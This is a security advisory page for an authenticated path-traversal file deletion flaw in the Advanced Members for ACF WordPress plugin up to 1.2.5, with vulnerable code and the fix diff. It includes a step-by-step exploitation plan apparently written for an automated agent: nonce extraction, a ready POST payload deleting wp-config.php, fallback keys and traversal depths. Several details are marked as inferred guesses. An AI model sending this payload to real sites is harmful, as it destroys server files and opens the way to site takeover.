Advanced Members for ACF <= 1.2.5 - Authenticated (Subscriber+) Arbitrary File Deletion via Path Traversal
Description
The Advanced Members for ACF plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the create_crop function in all versions up to, and including, 1.2.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The vulnerability was partially patched in version 1.2.5.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.2.5What Changed in the Fix
Changes introduced in v1.2.6
Source Code
WordPress.org SVNThis vulnerability allows an authenticated user (Subscriber level and above) to delete arbitrary files on the WordPress server, including critical configuration files like `wp-config.php`, by exploiting a path traversal vulnerability in the image cropping functionality of the **Advanced Members for …
Show full research plan
This vulnerability allows an authenticated user (Subscriber level and above) to delete arbitrary files on the WordPress server, including critical configuration files like wp-config.php, by exploiting a path traversal vulnerability in the image cropping functionality of the Advanced Members for ACF plugin.
1. Vulnerability Summary
The create_crop function in core/modules/class-avatar.php (invoked via the amem_avatar_crop AJAX action) fails to properly validate or sanitize the file path provided in the data parameter. An attacker can supply a relative path with traversal sequences (e.g., ../../../wp-config.php) to the source file parameter. Because the function likely attempts to clean up original/temporary files after a crop operation using unlink() or wp_delete_file(), it will delete the file specified at the traversed path.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
amem_ajax_avatar_crop(registered incore/modules/class-avatar.phpviaadd_action( 'wp_ajax_amem_avatar_crop', ... )) - Vulnerable Parameter:
data(a JSON string) - Vulnerable Key in JSON:
fileorsrc(inferred from standard image processing patterns in ACF extensions) - Authentication: Required (Subscriber level or higher)
- Nonce: Required (
amem-avatar)
3. Code Flow
- Entry Point: The user sends a POST request to
admin-ajax.phpwithaction=amem_avatar_crop. - Nonce Check:
ajax_avatar_crop()callscheck_ajax_referer( 'amem-avatar' )(Line 389 incore/modules/class-avatar.php). - Data Decoding: The
dataPOST parameter is decoded:$data = json_decode($post['data'], true);(Line 393). - Vulnerable Sink:
ajax_avatar_cropcalls$this->create_crop($data);(Line 394). - Path Traversal: Inside
create_crop(inferred), the code extracts a file path from$data['file'](or similar) and passes it to a file deletion function likeunlink()without verifying that the path resides within the intended uploads directory.
4. Nonce Acquisition Strategy
The nonce amem-avatar is localized for the amem_avatar ACF field. Since this field is intended for user profile pictures, it can be accessed on any "Account" or "Registration" form generated by the plugin.
- Identify Form: Use
wp-clito find or create anamem-formof typeaccount. - Add Field: Ensure an
amem_avatarfield is attached to this form (this is the default for Advanced Members avatar functionality). - Navigate: Log in as a Subscriber and navigate to the page containing the Account form.
- Extract: Use
browser_evalto extract the nonce from the localized JavaScript object.- Variable Name:
amem_avatar_argsoracf.l10n.amem_avatar. - Specific Key:
nonce. - Command:
browser_eval("amem_avatar_args.nonce")or search the page source foramem-avatar.
- Variable Name:
5. Exploitation Strategy
The goal is to delete wp-config.php.
HTTP Request (via http_request tool):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [SUBSCRIBER_COOKIES]
action=amem_avatar_crop&_ajax_nonce=[EXTRACTED_NONCE]&data={"file":"../../../../wp-config.php"}
Note: If file does not work, alternative keys to try in the JSON object are src, path, or original.
6. Test Data Setup
- Install/Activate: Ensure
advanced-custom-fieldsandadvanced-members(v1.2.5) are active. - Enable Avatars: Ensure the "Use Avatar" option is enabled in the plugin settings.
- Create User: Create a user with the
subscriberrole. - Create Form:
# Create an Account form post wp post create --post_type=amem-form --post_title="My Account" --post_status=publish # The form type 'account' is usually set via post meta wp post meta set [POST_ID] select_type account - Placement: Place the form shortcode on a public page:
[amem_form id="[POST_ID]"]. - Verify Target: Ensure
wp-config.phpexists in the WordPress root.
7. Expected Results
- The server returns a successful AJAX response (likely
1or a JSON success message). - The file
wp-config.phpis deleted from the filesystem. - Subsequent requests to the WordPress site redirect to
wp-admin/setup-config.phpbecause the configuration is missing.
8. Verification Steps
- Direct File Check:
Result: "No such file or directory"ls /var/www/html/wp-config.php - Site Status Check:
Result: Failure/Error or indication that the database is not connected.wp core is-installed
9. Alternative Approaches
If ../../../../wp-config.php fails, the plugin might be prepending a specific directory like the "avatar" or "temp" directory.
- Temp Dir Path:
amem()->files->temp_upload_dir()often points towp-content/uploads/amem-temp/. - Avatar Dir Path:
wp-content/uploads/avatar/. - Payload Adjustment: Try increasing depth:
../../../../../wp-config.php. - Key Discovery: If the payload returns an error, use
browser_evalto inspect the network traffic of a legitimate avatar crop to see the exact structure of thedataJSON object sent by the plugin's JavaScript.
Summary
The Advanced Members for ACF plugin for WordPress is vulnerable to arbitrary file deletion by authenticated attackers with Subscriber-level access and above. This occurs due to insufficient validation of file paths in the `create_crop` function, allowing attackers to use path traversal to delete critical files on the server, such as wp-config.php.
Vulnerable Code
// core/modules/class-avatar.php, line 849 public function ajax_avatar_crop() { check_ajax_referer( 'amem-avatar' ); // WTF WordPress $post = array_map('stripslashes_deep', $_POST); $data = json_decode($post['data'], true); $attachment = $this->create_crop($data); wp_send_json_success($attachment); } --- // core/modules/class-avatar.php, line 620 public function create_crop($image_data) { $user_id = $image_data['uid'] === 'default' ? $image_data['uid'] : (int) $image_data['uid']; // (truncated: No ownership validation for user_id or file path checks performed in 1.2.5 before file operations) ...
Security Fix
@@ -396,6 +396,7 @@ 'choices' => array( 'approve' => __( 'Auto Approve', 'advanced-members' ), 'mailcheck' => __( 'Requires Email Activation', 'advanced-members' ), + 'awaiting_admin_review' => __( 'Admin Approval', 'advanced-members' ), ), 'conditions' => array( 'field' => 'select_type', @@ -3,7 +3,7 @@ * Plugin Name: Advanced Members for ACF * Plugin URI: https://danbilabs.com/ * Description: Lightweight & All-in-One Membership Plugin for ACF Fans. - * Version: 1.2.5 + * Version: 1.2.6 * Author: danbilabs * Author URI: https://danbilabs.com/ * Text Domain: advanced-members @@ -44,7 +44,7 @@ public static $name = 'advanced-members'; /** @var string version */ - public static $version = '1.2.5'; + public static $version = '1.2.6'; /** @var string version */ protected static $acf_required = '6.2.0'; @@ -627,6 +618,25 @@ $user_id = $image_data['uid'] === 'default' ? $image_data['uid'] : (int) $image_data['uid']; + // Validate uid ownership + $current_user_id = get_current_user_id(); + if ( $user_id === 'default' ) { + // Default avatar: admin only + if ( !current_user_can('manage_options') ) { + wp_send_json_error( __('Permission denied.', 'advanced-members'), 403 ); + } + } elseif ( $current_user_id ) { + // Logged-in user: must match own ID or be admin + if ( $user_id !== $current_user_id && !current_user_can('manage_options') ) { + wp_send_json_error( __('Permission denied.', 'advanced-members'), 403 ); + } + } else { + // Non-logged-in: uid must be a UUID (temp_user_id), not a numeric user ID + if ( is_numeric($image_data['uid']) ) { + wp_send_json_error( __('Permission denied.', 'advanced-members'), 403 ); + } + } + // If the difference between the images is less than half a percentage, use the original image // prettier-ignore // if ( @@ -763,7 +773,7 @@ $attachment = [ 'id' => filemtime( $new_file ), 'filename' => wp_basename( $new_file ), - 'file' => $new_file, + 'file' => $new_rel_path, 'url' => $url, 'preview_url' => $url, 'alt' => '',
Exploit Outline
1. Authenticate to the WordPress site as a user with at least Subscriber-level privileges. 2. Access a page containing an account or registration form generated by the plugin to retrieve a valid nonce for the 'amem-avatar' action (often found in localized JavaScript variables like `amem_avatar_args`). 3. Construct a POST request to `/wp-admin/admin-ajax.php` with the parameter `action=amem_avatar_crop` and a valid `_ajax_nonce` value. 4. In the `data` parameter, provide a JSON-encoded object containing a path traversal payload in a file-related key, such as `{"file":"../../../../wp-config.php"}` or `{"src":"../../../../wp-config.php"}`. 5. Upon execution, the plugin's server-side logic will process the path and attempt to delete the specified file using functions like `unlink()` or `wp_delete_file()`, resulting in the deletion of `wp-config.php`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.